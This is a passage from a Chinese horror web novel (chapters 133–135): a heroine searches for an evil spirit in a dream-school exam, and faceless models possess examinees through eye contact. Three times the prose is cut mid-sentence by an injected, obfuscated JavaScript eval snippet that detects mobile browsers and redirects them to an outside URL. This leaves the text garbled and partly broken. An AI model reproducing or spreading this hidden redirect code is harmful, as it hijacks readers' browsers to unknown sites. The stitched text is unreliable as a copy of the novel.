没有人留意到这三人,也没有人在中途叫醒他们,于是他们成为了昨夜噩梦的祭品。也许在积水中溺亡,也许因为失温失去意识,也许逃离屋子跌入深渊……不管哪一种,他们都没法再醒过来。 胆战心惊地绕过这三具尸体,一众考生冷漠地离开了宿舍,通过漫长的走廊,又一次步入了食堂中。 “妈的,最好今天白天再多死几个考生,免得晚上床不够睡。”章锐低声说着毫无人性的话。 单浩言冷冷剜了他一眼,或许心中多少对他这种行为有些鄙视,但仅仅是不屑,并没有出言喝止,其实他自己也清楚,章锐的这种想法对所有人来说,并非坏事。 “哎,这日子什么时候才是个头啊……” 方英彦趴在桌子上一副要死不活的样子,平时过惯了安逸的日子,哪里受得了这种苦,白天饱受身体和精神的折磨,夜里还得跟别人挤在一张小床上,完全休息不好。 陈奇闻言看了俞小澄一眼,然后悄悄挪到俞小澄身边,问:“小俞妹子,恶灵的身份,有眉目了吗?” 俞小澄还未来得及开口,吴樊祐便抢过话头,冷嘲热讽:“奇哥,你有眉目了吗?别光想着吃了睡睡了吃,你好歹也动动脑子吧!” 陈奇习以为常,对吴樊祐的嘲讽根本不在意,厚着脸皮说道:“我的特长是绝地求生,找线索,我是真的不在行。” “正好我想用穷举法测试,一个人工作量太大了些,奇哥可以帮忙。”俞小澄不客气地说道。 “嗯……可以是可以,但,有没有危险啊?”陈奇眼神游离,似有退缩之意。 俞小澄解释道:“应该没有,运气好说不定能找出记忆之门的钥匙,倒推出谁是恶灵,运气不好,最多恶灵发动时间推移技能,跳掉几个考试,对我们也不是坏事。” 她打算按照已知的信息,在监考官们给出的答案中试错,多多少少可以缩小恶灵的范围。 比如现在,她就让陈奇去碰触每一位考生,如果里面没有记忆之门的钥匙,那便可排除监考官三号,毕竟他眼中最重要的就是考生。 “屮,五十来人让我一个人上?我是什么免费劳动力吗?”陈奇抱怨道。 俞小澄依次指了指吴樊祐、白羽楠和自己,慢条斯理地解释: “吴樊祐去接触九号,那人好像是个自恋狂;小白去打听七号的女儿在不在学校里;我试试能不能见到校长,看五号是单纯拍马屁,还是真的钥匙。” “你要不再喊两个人帮忙,反正他们都很闲。”白羽楠抬起下巴,朝着那几个闲散玩家的方向努了努嘴,替陈奇支招道。 陈奇也不负众望,强拉上了单浩言和章锐。单浩言听闻可以找出恶灵,答应得很是干脆,而章锐就有些不情不愿,嘴里唠叨个没完,比起出力,他更希望坐享其成。 最后剩下方英彦一个人,他本想安静等待结果,可一个人一动不动坐在位子上实在偷懒得太过明显,他只好假意热心地询问自己有什么事可以帮忙。 俞小澄想了想,指了指监考官四号和八号,说:“他们一个提过工资福利,一个提过升职加薪,要不你看看能不能借点钱?” “……”方英彦此刻十分后悔多此一举。 七人分头行动,陈奇、单浩言和章锐顶着被人骂神经病的风险,挨个找考生套近乎,然后想方设法跟对方来个近距离接触。 可把所有考生都烦了个遍,他们也没发现什么记忆之门的钥匙,而三号全程没有任何反应,俞小澄总算有理由将此人从恶灵候选名单中划掉。 对于吴樊祐的刻意接近,九号显得十分警惕,拒绝一切肢体接触,这反而激起了吴樊祐的胜负欲,强行来了一场你躲我追外加一个过肩摔的戏码。 最后九号一脸惶恐地仰躺在地上,对着吴樊祐破口大骂:“你就是对我用强也没用,我不喜欢男人!” 吴樊祐回到座位时,脸色跟踩了狗屎一样,看得俞小澄忍俊不禁,随即收获吴樊祐的掐脸攻击。 白羽楠去找七号打听他女儿的消息,结果也没比吴樊祐好到哪儿去。 七号这个女儿奴总觉得白羽楠别有用心,甚至怀疑白羽楠有怪癖,白羽楠百口莫辩,气得她简直想将七号拖进走廊暴揍一顿。 不过最终还是套出七号的话——他不会将女儿带到学校这么危险的地方。 基本排除了七号和九号的嫌疑。 方英彦的“借钱”计划也是一波三折,最后结论是二人身上根本就没带钱,根本无从测试,可从另一角度来看,不存在的东西也许就不是记忆之门的钥匙,大概率也可以排除这两个人。 俞小澄找到监考官五号,针对校长发表了一番仰慕已久的彩虹屁言论,作为校长拥护者的五号自是受用,甚至有种相见恨晚的感觉。 因此,俞小澄一说想要找校长签个名,却又担心自己不够优秀没有机会见校长一面,五号当即指了一条明路。 在五号指引下,俞小澄走出食堂大门,发现原本应该是墙壁左手边出现另一条长走廊,走廊尽头便是校长办公室。 “别误了考试时间。” 临走前,五号用低沉的声音提醒道。 俞小澄带着招财进宝向着校长办公室前进,心中竟有些惴惴不安。 她往前走了十来步便停下了脚步,像是猛然清醒了一般,低声念叨:“不对啊,其实五号能同意让我见校长不就说明他不是恶灵了吗?” “怎么说?”招财并不是很理解。 “之前的每一个恶灵对于玩家靠近门钥匙都很抗拒,除非五号撒谎了,否则他怎么可能给我接近校长的机会?” 俞小澄说着就想带招财进宝返回,可一回头,身后哪里还有通往食堂的门,一堵墙结结实实地封锁了她的退路。 上当了? 俞小澄心里咯噔一下,不由得慌了神。 虽说走廊中没有危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245274|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险,可她想起了监考官一号公布的考场纪律——考试迟到者直接剥夺考生资格。 如果她不准时参加考试,大概率会直接出局。 是陷阱? “遭了,连接各个空间的走廊要如何开启?”俞小澄求助一般看向招财进宝。 招财安慰:“姐姐别急,NPC的活动大概能影响各个空间的交集。” “对,只要校长有移动意愿,兴许这条走廊还会连通。”俞小澄如是自我安慰,稳定住情绪,才带着招财进宝继续往校长办公室走去。 停在办公室门前,俞小澄鼓足勇气敲响了房门,然后听到门内传来一声“请进”,她旋转门把手推门而入。 房间内坐着一个中年男人,面相和善,抬头看着俞小澄微微有些诧异,而后询问俞小澄有何事。 俞小澄还没想好理由,看着眼前的陌生男人有些呆滞,干脆先走上前,向那人伸出了右手,故作欣喜,道:“校长先生,久仰大名,可以跟你握个手吗?” 总之,先把此人是钥匙的可能性排除干净。 俞小澄这么想着,尴尬地维持着笑容,一脸期待地望着男人。 “喔……”校长一脸懵逼,虽然搞不清楚情况,但为了维持校长宽以待人的形象,还是客气地起身握住了俞小澄的手。 果然什么事都没有发生。 俞小澄暗自将监考官五号从名单中剔除,并感觉自己并未落入什么陷阱,只是意外抵达了本不应该出现的地方,所以连通走廊才会消失。 如此想着,她渐渐冷静下来,顺便思考着能不能从校长口中得到些有用信息。 “请问校长觉得在这学校中最重要的是什么呢?”俞小澄没头没脑地抛出这个问题。 校长忍着心中的莫名与不悦,强挤出一个微笑,道:“自然是你们这些学生啊!” 冠冕堂皇的话脱口而出,俞小澄想也没想追问一句:“真的吗?” 校长感觉被冒犯,微微皱了皱眉头,声音带上一分威严感:“我堂堂一校之长,还能说假话不成?” “哦哦,不假就好。”俞小澄低声自言自语道,心里却想着:那校长也不是恶灵啊…… 校长的耐心渐渐被消磨殆尽,强忍着怒气发作,苦笑追问:“所以,你究竟找我有何事?” 俞小澄不答反问:“校长先生,这间学校存在的意义究竟是什么?” 面对这无厘头的问题,校长的脸青一阵白一阵,内心似乎在做着什么斗争,兴许是作为校长的涵养和想将找茬的人踢出办公室的欲望,在脑海中天人交战。 理智最终战胜了欲望,校长咬牙道:“建校初衷,当然是为了培养优秀的人才啊!为莘莘学子提供走向世界大舞台的阶梯!” 又是一番冠冕堂皇又慷慨激昂的说辞,可也正是这一番话,在俞小澄心里掀起一圈涟漪。 对啊,这场梦境的目的是挑选优秀学生! 她一开始只局限于梦境是为了供恶灵取乐,所以折磨的是考生,而恶灵必然藏于置身事外的监考官之中。 可如果梦境的目的是荣登优秀考生之列呢? 那情况就完全不同了,监考官的存在就不一定是为了方便恶灵隐藏身份了,而是方便维持梦境秩序。 至于恶灵,可能藏在考生之中! 133. 梦境(五) 俞小澄忽然意识到自己之前调查的方向错了,所以废了这么大劲也没找到任何记忆之门或道具的线索。 “校长先生,优秀学生要如何决出?”俞小澄紧张地追问道。 校长摸了摸下巴,一副慷慨解惑的模样:“自然是能通过学校所有考验的人啊!你喃,先回去认真考试,想要成为优秀学生,靠走后门可不行,我们只看考试结果。” “有多少人能成为优秀学生?” “我们只选择最优秀的一人,荣登优秀学生光荣榜!”校长一脸自豪地回答。 所以……能活到最后的只有一人……恶灵要将所有人都杀掉…… 俞小澄感觉一阵恶寒,仿佛身后有一只恶鬼,张着血盆大口欲将所有人都吞没。 “校长先生,你有看好的学生吗?”俞小澄小心翼翼地问道。 校长手掌握拳,抵在嘴边,不自然地咳嗽一声,并不直接回答这个问题:“呵呵,本校只看绝对实力,不整虚的,你看我像是会徇私的人吗?你千万别多想,只要靠实力,任何人都有可能夺得优秀学生的称号!” 俞小澄知道没办法从校长口中直接得到恶灵的名字,便也不纠结,话锋一转,张口就是一顿彩虹屁: “校长先生,您说的话令我醍醐灌顶!像我这样迷惘的考生还有很多,急需您的鼓励!您可以跟大家见一面吗?我相信见到您后,大家能更有干劲!” “哈哈哈,是吗?唉,作为校长,怎么能辜负可爱学生们的期待呢?” 校长说着便站起身,做作地整理起衣领,抚平衣摆上的折皱,然后带着俞小澄往门外走去。 一切进行得很顺利,跟在校长身后离开办公室后,通往食堂的门再次出现在走廊尽头,俞小澄总算回到了食堂。 此时,食堂的窗口已经开启,只是前去拿餐食的考生寥寥无几,显然又在等待他人试毒。 校长相信了俞小澄的鬼话,站在一众考生面前进行了一番慷慨激昂的演讲,收获了考生和监考官不走心的鼓掌喝彩。 当然,其中也有人由衷地欢呼喝彩,此人便是监考官五号,他是真的爱…… “怎么样?” 俞小澄一回到位子上,陈奇就忍不住问道。 “你是不是傻,她都正常回来了,肯定是无事发生,五号也可以排了。”单浩言不耐烦地打断道。 章锐似乎意识到什么,小声嘀咕道:“呜哇,说起来,如果那个五号是恶灵,她岂不是已经跑路了……” 白羽楠没好气地瞪了章锐一眼,不客气地回怼道:“你以为是你啊?” “干嘛这么激动,我就说有这种可能性,不是就算了,心虚干嘛?”章锐不服气地回嘴。 “你……” 白羽楠还想跟他理论,被俞小澄拦了下来。 俞小澄没心情跟他多费口舌,冷冷地说出了自己的判断:“监考官大概全都可以排掉,我的方向一开始可能就错了,恶灵不在监考官中,而在考生里。” “啊?你这范围越找越广,要找到什么时候啊?”方英彦叫苦不迭。 考生的范围的确比监考官广了太多,这些考生和监考官都没有脸,监考官尚能依靠身上的编号确定其身份,可考生无从判断,特别是在第二场考试后,部分考生甚至换上了相同的校服。 其实如果不急,慢慢等下去,随着考试淘汰的人越多,这个范围会不断缩小,可谁敢保证自己能安然活到那个时候? “试试向考生打听消息吧……”俞小澄只能无奈地给出这种算不上精明的办法。 “说了等于没说……”章锐暗暗吐槽。 俞小澄心里有些不舒服,只能假装没听见,起身想去拿些早点果腹。 此时才想起今天还没关注过食堂的规则是什么。 她向四周的宣传海报看去,只见今天的海报又有些不同,红色的宣传标语改成了绿色,写着“蛋白质”三个字。 按照一直以来的规律,今日的安全菜单应该是含有蛋白质的食物。 于是俞小澄去拿了牛奶和煎蛋。 然而,她人还未离开窗口,食堂中就有三名无脸考生痛苦呻吟着倒在了地上,他们皮肤潮红,喉头水肿,倒在地上痛苦挣扎了片刻,就此一命呜呼。 俞小澄看着手里的早餐哪里还敢吃,默默地将食物又退回了窗口。 她很好奇这些人吃了什么,于是绕到那几人的位子上看了看桌上残留,几乎与她的想法一致,全是富含蛋白质的食物,东西还没吃几口,人就倒地上去了。 俞小澄无比庆幸自己还未动口,却不明白为何今日的规则提示不准了,就像是故意引诱他们犯错一样。 “这下好了,嫌疑人又减少三人。”章锐半开玩笑地说起了风凉话。 单浩言瞥了他一眼:“你还是担心担心今后里面会不会有你吧。” “我不吃不就好了,有什么好担心的?”章锐心里不服气,嘴硬道。 单浩言泼上一盆冷水:“你能坚持几天呢?三天?还是五天?” 章锐微微一顿,转头望着俞小澄,嘴里抱怨道:“不会吧?!俞小澄这么久都解决不了恶灵吗?不是说她很厉害吗?” 俞小澄闻言一阵气紧,怀疑章锐是不是把她当成了免费劳动力,心里暗骂了声:解决恶灵前,希望你先被恶灵解决了! 她未敢说出口的话,白羽楠替她说了出来,正面硬刚道:“你厚颜无耻的本事最厉害,你这么有本事,怎么不自己去解决恶灵啊?” “哼,还不是你们自己吹的牛,白让人有所期待,结果还不是跟我们一样,碰运气是吧?”章锐将积攒在心里的怨气全发泄到俞小澄和白羽楠头上。 “我们吹啥牛了,明明是你自己……” 白羽楠简直想赏他两巴掌,有种跟无赖讲不通道理的无力感,气得牙痒。 俞小澄拽了拽白羽楠的袖子,不想对胡搅蛮缠的人做无谓的解释,拉着白羽楠就往食堂外走,吴樊祐见状跟了上来。 “这些人都不值得帮,与其跟这些人在这里浪费时间,还不如早点离开。”吴樊祐有意无意地暗示着。 俞小澄瞪了他一眼,脑袋往章锐所在方向偏了偏,没好气地回道:“你,跟他坐一桌去!” 吴樊祐无奈挠了挠头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266426|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,口风一转,立马正经说道:“我们还是想想怎么从剩下的四十六个无脸考生里找出恶灵吧。” 这顿饭是没法再吃下去了,俞小澄饿着肚子穿过走廊来到了考场门前,不知今天又要面临什么考验。 等到考场开启,所有人都目瞪口呆。 今日的考场又是另一番风景,没有课桌整齐摆放其间,取而代之的是实木画架和画板围绕着一个圆形展台扇形摆放。 讲台上的陈设一成不变,监考官一号正站在上面,敲着桌子,提醒考生赶紧就位。 他身后的巨型黑板上,依然有红漆书写的醒目文字,这一回的内容是“禁止对视”。 逐渐掌握了考场规则的考生们纷纷低下了头,竭力不与任何人有视线上的交流,看上去格外小心谨慎。 只有章锐嗤笑一声,一边捂着肚子,一边指着埋下头的无脸考生,毫无顾忌地向单浩言吐槽:“看到没,你说好笑不?这些人连眼睛都没有,还怕什么对视,他们怎么对视啊,哈哈哈哈,太好笑了。” 章锐肆无忌惮的嘲笑立即引来全体考生的怒视,即便看不见他们的眼睛,可带着火药气息的氛围瞬间将其包围,令他面色一沉,赶紧闭上嘴。 恍惚间,俞小澄仿佛在那些光溜溜的脸上,看到了一双双灵动的眼睛,投射出令人心生畏惧的目光。 一眨眼,一切又恢复了平静,俞小澄自觉是因敏感产生的错觉。 俞小澄走到最外围的一个画架前坐下,吴樊祐与白羽楠紧随其后,一左一右坐到她身旁。 众人在沉默中盯着眼前的画板,谁也不知道接下来又会发生怎样的故事,只是心里明白一件事——一定不可以与人对视。 “这种对视也包括玩家之间吗?”白羽楠竭力控制着自己的视线不往俞小澄脸上瞟,干脆将额头紧贴在画板上。 “也许吧。”俞小澄小声回了句,语气并不肯定。 黑板上提示的信息并不明确,她们只能避免一切可能潜在的危险。 俞小澄小心翼翼地观察着考场里的情况,考试时间还未开始,按照常理来说,规则还未生效,不过为了避免发生今早食堂那样脱离常理的意外,她还是尽量避开他人的脸。 看样子,这是一场绘画考试,可是考题呢? 就在俞小澄思考之时,时间一点点过去,未入座的考生也全都就位,可各位监考官始终站在属于自己的位置上,没有对考试进行说明,也没有任何动作,只是安静地观察着考生。 一直等到时间来到九点,墙上的倒计时又一次启动,也预示着今天的第一场考试正式开启。 就在众人不知该做什么的时候,考场的大门缓缓打开,一个赤身的无脸男人从门外走了进来,那状态过于淡定,丝毫不在意整个房间里60多双眼睛正诧异地望向自己。 眼前的景象带给俞小澄的震撼无以言表,她下意识地伸长脖子想看清楚究竟什么情况,可下一秒,一只手从旁边横插过来,狠狠地捂住她的双眼,将她的视线挡得不留一丝缝隙。 俞小澄想要掰开那只手,可那只手实在太倔犟,怎么也不肯从她脸上移开。 134. 梦境(五) 俞小澄无奈地低声问道:“你又干嘛?” “不能看!”吴樊祐声音异常严肃。 “啊?凭什么?”俞小澄不解。 “规则说了,不允许对视!”吴樊祐言之凿凿。 俞小澄猜想吴樊祐是担心自己违反规则,于是轻声解释:“我不看他的脸,我就看看他是不是连裤子都没穿。” “不用看了,没穿。”吴樊祐声音气恼地回道,“这么喜欢看裸男?不许看!” “……” 一句话将俞小澄说得跟个变态似的,俞小澄不由得脸上升起一片红晕,难为情地回怼道:“我、我看他身上是不是藏着规则好不好!” “哦?你想看哪儿告诉我,我帮你看就好,这种事还需要你亲力亲为吗?”吴樊祐轻声调侃道。 就在二人拌嘴时,一个散漫的声音在考场中响起。 那个赤身男人迈着优雅的步伐走上了展台,一边摆着pose,一边自傲地说道:“各位考生,请将我完美的身材展现在你们的笔下!” 俞小澄终于肯定自己方才没有看错,这个大摇大摆走进考场的男人就是本场考试的模特,此刻正□□的站在人前。 “哎……你不会打算捂眼两小时吧……”俞小澄拍了拍吴樊祐的手,“你挡着我,我怎么画画?万一这场考试必须完成作画呢?” 吴樊祐一点松手的打算都没有,甚至手指还几不可察地贴紧了些,嘴里振振有词: “盲画吧,啥时候规则真在意考生交考卷啊,大不了我陪你交白卷。” 俞小澄无奈地摇了摇头,双手托着下巴,认命一般闭眼休息。 “你小子是嫉妒吧?”白羽楠的脑袋悄悄移到画板边,又惊慌地赶紧挪了回去。 吴樊祐冷哼一声:“我有什么好嫉妒的?” 白羽楠没有直接回答,反而上下打量着吴樊祐,不怀好意地咯咯笑了起来。 这一笑比明说还让吴樊祐感觉到冒犯,拍了拍自己的膀子,气恼回道:“你眼瞎吧?别起哄,继续面壁!” 俞小澄自然听出他俩在说什么,白羽楠大抵是觉得那个赤身无脸男的身材还挺好,不该有的一样没有,该有的一样不少。 这样想着,俞小澄忍俊不禁,噗嗤一声笑出了声,趁机调侃道:“原来你还会在这种事上较劲啊?别气别气,若要比脸,你肯定赢!” 白羽楠紧接过话头,强补一刀:“对,对方都没脸跟你比。” 两人一唱一和,对着吴樊祐就是一番输出,气得吴樊祐捂住俞小澄的手不由得加大力道,报复一般推得俞小澄的头不舒服地仰了起来。 俞小澄想要掰开吴樊祐的手,反倒被对方一把扼住手腕,这下完全被拿捏,她只好识时务地道歉。 “对不住,我开玩笑的,别当真!你赢,都你赢,不管是脸还是身材,行了吧?” 吴樊祐并不买账,冷笑着凑到俞小澄的耳边,压低声音,带着些许玩味,耳语:“呵,你见过么?怎么知道我赢?” 这下轮到俞小澄慌了,耳朵唰地烧出一片火红,嘴上强装镇定,满脑子只想着该如何转移这个话题。 不过,还未想出应对之策,那个散漫的声音突然在两人身后响起:“哦呀,这是怎么回事?为何你们俩还没开始下笔,是被我完美的身材迷晕了吗?” 俞小澄内心一阵恶寒,不知何时那个模特走到了两人身后,此时两只手一左一右搭在两人肩上,似乎在等待着两人的回应。 吴樊祐捂住俞小澄眼睛的手并没有动,但扼住她手腕的那只手缓缓松开,然后一支笔递到了俞小澄手里。 吴樊祐的声音再度在耳边响起,可明显不再有嬉笑的成分,而是多了一丝谨慎:“学姐,我松手了,你可别光顾着看男人,专心画你的画,明白吗?” 随着话音落下,俞小澄感觉眼睛上的手以极慢的速度移开。 重见光明后,俞小澄先是有些眼花,用手揉了揉眼睛,才渐渐恢复了正常,她手握画笔直视着前方画板。 余光中,吴樊祐正襟危坐,提笔在纸上描绘着什么。 此刻,她能清晰地感觉到,赤身无脸男依然站在自己身后,一手搭在她肩上,一手搭在吴樊祐肩上,虽然没有回头,可她还是能感受到那人俯视着他们的冰冷视线。 俞小澄无奈地在画板上随便乱画了几个圈。 或许是一直没有得到回应,搭在二人肩上的手慢慢抬了起来,随即一句满含失望的话传入耳中:“哎,你们不看仔细些,如何将我的完美呈现在纸上呢?” 接着,俞小澄感觉身后的人影往别处转移,重重地呼出一口气。 正想转头问白羽楠,那家伙怎么会突然出现在二人身后,霎时间一张脸凑到面前,强行挡在了俞小澄和白羽楠之间。 那张没有五官的脸吓得俞小澄下意识地紧闭双眼,感觉方才险些心跳骤停。 心里正骂着“什么鬼”,耳边就又传来那人散漫的声音:“你闭上眼还怎么画呢?” 这一幕把俞小澄吓得不轻,她哪里还敢睁开眼睛,维持着双眼紧闭的状态,她摸索着画板的位置,然后执笔在纸上又是一通乱画。 “我……其实是盲人……” 此时闪入俞小澄脑海中的是吴樊祐方才的玩笑话,她实在想不出别的理由,只能如此敷衍道。 “噢,那太可惜了,无法欣赏到我的完美!” 一句失落的话落地,俞小澄明显感觉那人的气息远去,才战战兢兢地睁开了双眸,却不敢转头,只能用余光平扫着两边。 吴樊祐一只手托着下巴,一只手在画板上胡乱挥舞。 白羽楠那边也差不多,她的脸距离画板很近,近到只余一拳距离,手上的画笔看似一刻不停,可似乎全是无意义的重复画圈。 唯一令俞小澄在意的是白羽楠此时浑身战栗。 她似乎正因什么事而感到无比恐惧,连呼吸都变得急促起来。 “怎么了?”俞小澄悄声问道。 白羽楠沉默着没有回答,只是颤抖地抬起手指,移到画板边上,朝着圆形展台的方向指了指,似乎在示意俞小澄往那儿瞧。 俞小澄只是掠过画板边缘,往展台方向晃了一眼,然后整个人就在画板前僵住了。 怎么回事? 她分明看到一个□□的模特站在展台上摆着pose。 可她明明感觉那人刚才还在考生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278326|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中穿行,到底是何时瞬移回到了展台,又或者是自己的错觉? 心中的不明确令她抬头往四周看去,随即她看到了数个光溜溜的肉色身影,出现在不同的位置,死盯着正在画画的考生,仿佛在寻找猎物的狼群。 俞小澄只觉有些不可思议,心慌地揉了揉眼睛,想要看得更真切,忽然所有的身影朝她转过头来,吓得她将头缩回画板上。 那些人怎么会和展台上的模特长得一模一样? 不,又没有穿衣服,又没有脸,能区分得出才更奇怪吧! 也许,在她逃避眼神接触时,或者在她被吴樊祐挡住视线时,又有几个赤身模特走进了考场。 就像是自我安慰,俞小澄在心里不断说服自己冷静下来。 就在她苦思冥想心乱如麻之时,那几个人影缓缓围到了她四周,带着冰冷的气息,原本没有五官的脸上渐渐浮出一只猩红的眼睛。 几只眼睛将俞小澄围了起来,耳边响起模特那散漫的声音,他们似在交流,又似只有一个人在自言自语。 “她不是盲人?” “是被我的完美折服了吧!” “她在找谁?” “是在找我吧!” “是不是想欣赏我完美的身材?” “她一定也是被我迷住了吧!” “那我怎么能让她失望呢?” “来,转过头来,特许你与我对视。” 奇怪的话不绝于耳,吵得俞小澄头昏脑胀,就像有什么不断引诱着她转过头去。 俞小澄因为惊恐而浑身冰冷,寒气从内心深处倾斜而出,冷却了血液,传递到全身,阻止她的思维。 她只能在心里不断默念一句话:“不可以对视,不可以对视,不可以对视。” 是的,如今她只记得这句话,这句极可能决定她生死的话。 俞小澄紧紧闭上双眼,用颤抖的手摸索着不知道被自己遗失在哪里的画笔,然后手指碰触到冰冷的皮肤,她心上一颤,连忙缩回手,可那个冰冷的触感紧随而来。 “你在找这个吗?” 那只让她感受不到生命的手将一个圆圆的珠子递到了她手里。 仅凭触感,俞小澄很难分辨那是什么,好奇心驱使她睁开眼去确认,可理智不停拽着她伸向潘多拉魔盒的手。 只是一瞬间,她想到了招财进宝,于是在心里呼唤着救援,很快,她得到了令她安心的回应。 招财进宝还在她身边,这比任何事都更能安稳她的心神。 “这些家伙往我手里塞了什么东西?” 俞小澄直接让招财进宝作为自己的眼睛,替她确认令她好奇的东西。 招财倒吸一口凉气,然后声音犹豫地回道:“呃……姐姐……我觉得你还是不知道比较好。” “你这样说我岂不是更好奇?”俞小澄摸着手里那个圆圆的东西,各种恐怖的念头疯狂闯入脑海,不断地攻击着她敏感的神经。 招财似乎觉得她说的有理,点头回道:“姐姐,你手上拿着的是一颗眼珠。” 一瞬间,鸡皮疙瘩爬满全身,俞小澄拿着眼珠的手僵在半空中,心里无比挣扎,犹豫着该不该将眼珠丢弃。 135. 梦境(五) 有了明白的答案后,触觉变得无比清晰,手里黏黏糊糊的感觉,她甚至觉得从那只眼珠上传来微弱的跳动。 僵持了许久,将眼珠交到她手上的人似乎很失望,动作缓慢地取回了自己的眼珠,重新装回空洞的眼眶之中,然后眼睛又从他们的脸上消失了。 在招财进宝的确认下,俞小澄得知那些赤身无脸男陆续对她失去了兴趣,踱步走向了别处。 俞小澄乱跳的心终于稳定下来,不知不觉浑身被冷汗浸湿,她小心睁开眼,额头抵在画板上,轻轻吐出一口气,唯恐动作太大又将那些怪人引过来。 原来,这才是本场考试的试题。 不能对视的不是所有人,而是这些绘画模特。 明明没有脸的人却长出了一只眼睛,如果与其对视,虽不知道具体会发生何事,但必定会危及生命。 “我是不是该睡一觉……”俞小澄喃喃自语。 似乎只要不理会这些人,不与他们对视,就是对付他们最好的方式,按理来说,睡觉可以轻松应对本场考试的禁忌。 可是,很快她就发现了这样做的弊端。 她能想到的事,别人自然也能想到,甚至有考生已经成功在考场上呼呼大睡。 然后,她听到那个散漫的声音发出一声尖锐的笑,所有的人影都开始往那个睡觉的人身边汇聚,接着,人影化为一团团黑气,钻进了熟睡人的身体。 原本熟睡中的人,摇摇晃晃从位子上站起身,没有五官的脸上竟长出一只猩红的眼睛,眼珠在眼眶中乱转,如同一只饥渴的困兽,贪婪地寻找着猎物。 “啧啧啧,这具身体不够好,让我看看有没有更好的……” 耳熟的散漫嗓音自那名考生口中飘了出来。 说话间,只见那考生向身边欲逃的人扑去,画架被撞倒,两人扭打着摔倒在地,四周考生警觉地将画架往边上挪了挪,看上去仿佛为二人腾出了表演的空间。 那个长出猩红眼睛的考生跨坐在另一人身上,力气大得诡异,被他压在身下的人竟如何也挣脱不开,惨叫着向周围求救。 然而,没有人敢上前帮忙,有人纯粹好奇旁观,有的人害怕避让,有的漠然无视…… 俞小澄藏在画板后,远远望着地上扭打的二人,然后眼见长着猩红眼睛的考生压低脑袋靠近身下人,那只眼睛似乎有种魔力,竟让身下人停止了挣扎。 求救声暂停,考场内仿佛出现了某种传染病,一道道黑气从那只眼睛倾泻而出,将地上那人的脑袋团团包围。 不过片刻功夫,被压在地上的考生脸上竟然也长出了一只同样猩红的眼睛,扭曲着身体从地上爬起,发出不属于他的散漫声音: “这具身体也不行,还要更好的……” 如同被夺舍了一般,行为怪异的考生一个变两,又分头各自寻找起猎物。 被那视线吓到的考生开始了逃亡,哪里还顾得上考试不考试,拔腿就往门口跑,然而房门紧闭无路可逃,最终都落入红眼怪人的手里,在强制对视下沦为傀儡。 考场内顿时乱作一团,不少人离开画架,躲到了考场角落,指着考场内的乱象,向监考官求助。 可惜,十位监考官全程无动于衷,只是轻巧地呼吁考生认真完成考题。 “啊~为什么?”圆形展台上的模特发出一声失望至极的哀嚎,“为什么不乖乖坐在画板前,将我完美的身材描绘出来?啊?为什么!” 他的哀嚎声令在场众人心惊胆寒。 俞小澄莫名浑身一颤,从画架边缘收回视线,额头抵在画板上不敢动弹,手里的画笔随着呼吸的起伏在纸上留下意义不明的线条,蜿蜒、纠缠,亦如她此刻的思绪。 “不能对视,不能对视……”她反复在心里默念。 伴随着赤身模特哀嚎,四个脸上长出猩红眼睛的傀儡扭曲着身子从地上爬起来,慢悠悠地向着角落里寻求监考官帮助的考生走去,反而对近处坐在画架前的考生没有兴趣似的。 很快,又有四个人落网,被那些沦为傀儡的考生压制,发出惊恐的求救声,其中便有章锐。 “救、救我!草,这是什么怪物!救我,我还不想死!” 章锐在地上挣扎着,可手脚被傀儡压得死死,他惊慌失措地扭动着脑袋,视线瞥向四周,在人群中寻找着可以帮忙的人。 很快他看见了俞小澄的背影,于是叫声愈发急切:“俞小澄!姐!快帮我!呵,我们是伙伴不是吗?你不会见死不救吧?喂!” 俞小澄听见有人扯着嗓子叫自己,可她不敢回头,只是死死盯着画板,心中虽不忍心,可自己哪里有办法对付这搞不清是什么玩意儿的东西。 “你闭上眼,别跟它对视!”俞小澄只能无奈回了这么一句。 章锐无奈照做,可嘴上的求救并不消停。 “不、不、不行,我怎么觉得闭上眼反而能看到那只怪眼,不要,救命,放过我,你去找别……” 慌乱的叫声突然中断,章锐仿佛放弃了抵抗,躺在地上不再动弹,任由猩红眼睛释放出来的黑气将他包裹。 下一刻,章锐的五官被一只猩红的眼睛取代,用散漫的声音说道:“啊!还不够,还要更多!” 一句话听得俞小澄背脊发凉,心中一沉,看来章锐也没救了。 俞小澄突然意识到一个问题,似乎闭眼对这些傀儡无效,不管是第一个被傀儡袭击的考生,还是章锐,他们都试着逃避对视,可最终都未能幸免。 怎么回事? 以为已经掌握规则的俞小澄心里慌了。 “小澄姐,这样下去我们都没命活到考试结束……”白羽楠忧心忡忡,声音流露出一丝恐惧。 